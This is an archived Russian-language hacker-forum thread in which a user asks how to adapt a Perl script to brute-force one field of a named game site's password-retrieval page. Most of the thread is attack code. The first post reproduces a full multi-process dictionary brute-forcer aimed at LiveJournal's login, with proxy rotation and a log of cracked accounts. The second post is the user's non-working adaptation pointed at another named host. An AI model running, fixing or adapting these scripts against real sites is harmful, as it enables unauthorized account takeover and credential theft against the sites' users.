Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Брут одного поля

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Брут одного поля
Имя
Сообщение << Старые топики   Новые топики >>
Брут одного поля - 2011-03-17 14:41:43.190000   
hanterr333

Сообщений: 4
Оценки: 0
Присоединился: 2011-02-15 18:57:33.930000
Здраствуйте у меня есть несколько вопросов
как можно сделать чтоб брутило вот на этой странице одно поле(по словарю логинов),и сохраняло лог
http://l2fury.ru/retrive.php
что нужно поменять в этих исходниках на perl?

#!/usr/bin/perl use IO::Socket; ## Юзаем сокеты use Getopt::Std; ## А также модуль для командной строки &nbsp; getopt("splwudt"); ## Объявим возможные опции $|++; ## Инкременируем буферайз $server=$opt_s || "www.livejournal.com"; ## Задаем сервер $port="80"; ## А также порт :) $logfile=$opt_l || "cracked.log"; ## Сюда пишем взломанный аккаунт $words=$opt_w || "dict.txt"; ## Наш большой словарик, по кторому ведется брутфорс $user=$opt_u || "fuck"; ## Юзер, которого ломаем $dir=$opt_d || "/login.bml"; ## Скрипт, который возвращает статус $threads=$opt_t || 10; &nbsp; if ($opt_p) { &nbsp;## Если есть опция -p &nbsp; &nbsp; open(proxy,$proxylist) || die "cant find proxylist\n"; ## Откроем лист с проксиками &nbsp; &nbsp; @proxies=&lt;proxy&gt;; &nbsp;## Занесем их в массив &nbsp; &nbsp; close proxy; &nbsp;## И закроем файл } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; open(file, "$words") or die print "$!\n"; ## Открываем словарь while($pass=&lt;file&gt;) { &nbsp;## По каждой строки &nbsp; &nbsp; chomp($pass); ## Удаляем \n &nbsp; &nbsp; push(@threads,$pass); &nbsp;## Добавляем пароль в @threads &nbsp; &nbsp; &nbsp; &nbsp; if (scalar @threads eq $threads-1) { &nbsp;## Если количество элементов соответстует числу потомков &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for ($j=0;$j&lt;=$threads-1;$j++) { &nbsp;## Откроем цикл по числу потомков &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($pid=fork()) { &nbsp;## Ответвим процесс &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push(@forked,$pid); ## Запомним идентификатор &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; crack($threads[$j]); &nbsp;## Проверим пароль &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit; &nbsp;## Выходим из потомка &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; killall(); &nbsp;## Убиваем все потомки&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($doneall); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } close file; ## Закрываем файл &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub killall { &nbsp; &nbsp; foreach $pid (@forked) { &nbsp; &nbsp; &nbsp; &nbsp; chomp; &nbsp;## По каждому процессу из списка &nbsp; &nbsp; &nbsp; &nbsp; waitpid($pid,0); &nbsp;## Дожидаемся его завершения &nbsp; &nbsp; &nbsp; &nbsp; kill("TERM" =&gt; $pid) &nbsp;## А лишь затем убиваем его &nbsp; &nbsp; } &nbsp; &nbsp; undef @forked; &nbsp; &nbsp; undef @threads; &nbsp;## Делаем массивы @forked и @threads неопределенными } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub crack { &nbsp; &nbsp; my $pass=shift; ## Пароль - параметр командной строки &nbsp; &nbsp; ($server,$port)=split(':',$proxies[rand(int(scalar @proxies))]) &nbsp; &nbsp; &nbsp; &nbsp;if ($opt_p); &nbsp;## Если имеется параметр -p - возьмем рандомный прокси из листа &nbsp; &nbsp; $socket=IO::Socket::INET-&gt;new(PeerAddr =&gt; $server, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PeerPort =&gt; $port, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Proto =&gt; tcp) &nbsp; &nbsp; or crack($pass); ## Создаем соединение с livejournal.com, либо рекурсивно вызываем эту же функцию &nbsp; &nbsp; $socket-&gt;autoflush(1); ## Отрубаем буферизацию (на всякий случай, т.к. по дефолту она вырублена) &nbsp; &nbsp; $post="user=$user&amp;password=$pass&amp;"; ## Формируем POST-запрос &nbsp; &nbsp; $len=length($post); &nbsp; &nbsp; $len+=1; ## Находим длину запроса (фраза + \r\n) &nbsp; &nbsp; print $socket "POST $dir HTTP/1.0\r\n"; &nbsp; &nbsp; print $socket "Host: www.livejournal.com\r\n";; &nbsp; &nbsp; print $socket "Content-Type: application/x-www-form-urlencoded\r\n"; &nbsp; &nbsp; print $socket "Connection: Close\r\n"; &nbsp; &nbsp; print $socket "Content-Length: $len\r\n"; &nbsp; &nbsp; print $socket "\r\n$post\r\n"; &nbsp; &nbsp; &nbsp; ## Отправим в сокет длинный header &nbsp; &nbsp; &nbsp; $socket-&gt;recv($answer,1024); ## И прочитаем возврат = 1 кб данных &nbsp; &nbsp; &nbsp; if ($answer=~/\:$user\:/) { &nbsp; &nbsp; &nbsp; &nbsp; open(logf, "&gt;&gt;$logfile") or die print "$!\n"; &nbsp; &nbsp; &nbsp; &nbsp; print logf "$user:$pass is OK!!!\n"; &nbsp; &nbsp; &nbsp; &nbsp; close logf; &nbsp; &nbsp; &nbsp; &nbsp; print "$user:$pass is OK!!!\n"; &nbsp; &nbsp; &nbsp; &nbsp; $doneall=1; &nbsp; &nbsp; &nbsp; &nbsp; exit 0; ## Если он содержит строку вида :user: - пишем лог и завершаем брут. &nbsp; &nbsp; } ## Иначе, проверяем следующий пароль &nbsp; &nbsp; return; } &nbsp;
Post #: 1
RE: Брут одного поля - 2011-03-17 15:33:12.950000   
hanterr333

Сообщений: 4
Оценки: 0
Присоединился: 2011-02-15 18:57:33.930000
вот написал программу но она не брутит и не сохраняет лог
#!/usr/bin/perl use IO::Socket; ## Юзаем сокеты use Getopt::Std; ## А также модуль для командной строки getopt("splwudv"); ## Объявляем возможные опции $|++; ## Инкременируем буферайз $server=$opt_s || "http://l2furyru.tk"; ## Задаем сервер $port=$opt_p || "80"; ## А также порт :) $logfile=$opt_l || "cracked.log"; ## Сюда пишем взломанный аккаунт $words=$opt_w || "log.txt"; ## Наш большой словарик, по кторому ведется брутфорс $dir=$opt_d || "/login.bml"; ## Скрипт, который возвращает статус open(file, "$words") or die print "$!\n"; ## Открываем словарь while($pass=&lt;file&gt;) {&nbsp; ## По каждой строки &nbsp;&nbsp;&nbsp; chomp($pass); ## Удаляем \n &nbsp;&nbsp;&nbsp; crack($pass);&nbsp; ## Проверим пароль } close file; ## Закрываем файл sub crack { &nbsp;&nbsp;&nbsp; my $pass=shift;&nbsp; ## Пароль-параметр процедуры &nbsp;&nbsp;&nbsp; print "Now: $pass\n" &nbsp;&nbsp;&nbsp; if ($opt_v); &nbsp;&nbsp;&nbsp; $socket=IO::Socket::INET-&gt;new(PeerAddr =&gt; $server, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PeerPort =&gt; $port, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proto =&gt; tcp) &nbsp;&nbsp;&nbsp; or die print "Unable to connect to $server:$port\n"; ## Создаем соединение с livejournal.com &nbsp;&nbsp;&nbsp; $socket-&gt;autoflush(1); ## Отрубаем буферизацию (на всякий случай, т.к. по дефолту она вырублена) &nbsp;&nbsp;&nbsp; $post="&amp;login=$pass&amp;"; ## Формируем POST-запрос &nbsp;&nbsp;&nbsp; $len=length($post); &nbsp;&nbsp;&nbsp; $len+=1; ## Находим длину запроса (фраза + \r\n) &nbsp;&nbsp;&nbsp; print $socket "POST $dir HTTP/1.0\r\n"; &nbsp;&nbsp;&nbsp; print $socket "Host: www.livejournal.com\r\n";; &nbsp;&nbsp;&nbsp; print $socket "Content-Type: application/x-www-form-urlencoded\r\n"; &nbsp;&nbsp;&nbsp; print $socket "Connection: Close\r\n"; &nbsp;&nbsp;&nbsp; print $socket "Content-Length: $len\r\n"; &nbsp;&nbsp;&nbsp; print $socket "\r\n$post\r\n"; &nbsp;&nbsp;&nbsp; ## Отправим в сокет длинный header &nbsp;&nbsp;&nbsp; $socket-&gt;recv($answer,1024); ## И прочитаем возврат = 1 кб данных &nbsp;&nbsp;&nbsp; if ($answer=~/\:$user\:/) { &nbsp;&nbsp;&nbsp; open(logf, "&gt;&gt;$logfile") or die print "$!\n"; &nbsp;&nbsp;&nbsp; print logf "$pass is OK!!!\n"; &nbsp;&nbsp;&nbsp; close logf; &nbsp;&nbsp;&nbsp; print "$pass is OK!!!\n"; &nbsp;&nbsp;&nbsp; exit 0; ## Если он содержит строку вида :user: - пишем лог и завершаем брут. &nbsp;&nbsp;&nbsp; } ## Иначе, проверяем следующий пароль &nbsp;&nbsp;&nbsp; return; }
Post #: 2
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Брут одного поля







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.